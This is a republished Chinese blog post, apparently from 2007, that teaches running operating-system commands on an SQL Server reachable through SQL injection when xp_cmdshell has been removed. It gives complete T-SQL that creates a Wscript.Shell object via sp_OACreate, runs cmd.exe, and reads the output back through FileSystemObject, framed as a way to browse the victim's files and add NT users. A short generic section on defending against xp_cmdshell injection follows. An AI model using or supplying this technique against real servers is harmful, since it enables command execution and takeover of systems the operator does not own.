不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:\'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...] 
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]


思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP
 

转载于:https://www.cnblogs.com/leonardleonard/archive/2007/03/21/1928184.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server的xp_cmdshell是一种在数据库中执行操作系统级命令的功能。然而,xp_cmdshell也被黑客滥用,用于进行SQL Server注入攻击。 xp_cmdshell注入是一种利用SQL Server的xp_cmdshell漏洞,通过构造恶意SQL语句来执行任意操作系统命令。攻击者可以将自己的恶意脚本嵌入到SQL查询中,并在成功执行攻击后,实现对操作系统的非授权访问。 为了防止xp_cmdshell注入,我们可以采取以下措施: 1. 最佳实践规范:在部署SQL Server时,应遵循最佳实践并限制对xp_cmdshell的使用。只有授权用户才能使用xp_cmdshell,并最小化对其的权限。 2. 存储过程控制:编写存储过程是一种减少xp_cmdshell注入风险的好方法。通过使用存储过程,可以在执行xp_cmdshell之前进行输入验证和参数验证,以防止恶意代码执行。 3. 输入验证:在开发和设计应用程序时,应该对用户提供的输入进行验证和过滤,以防止恶意代码或SQL注入注入攻击。 4. 更新和补丁:及时安装SQL Server的更新和补丁是防止xp_cmdshell注入的关键。这些更新和补丁将修复已知的漏洞,并加强系统的安全性。 5. 审计和监控:配置SQL Server以记录和监视xp_cmdshell的使用是防止注入的另一种方法。通过实时监控xp_cmdshell的使用情况,可以及时发现和阻止潜在的注入攻击。 总之,防止xp_cmdshell注入是很重要的,我们需要采取适当措施保护SQL Server,如限制访问权限、验证输入、及时更新等。这样可以提高系统的安全性,并减少被黑客攻击的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值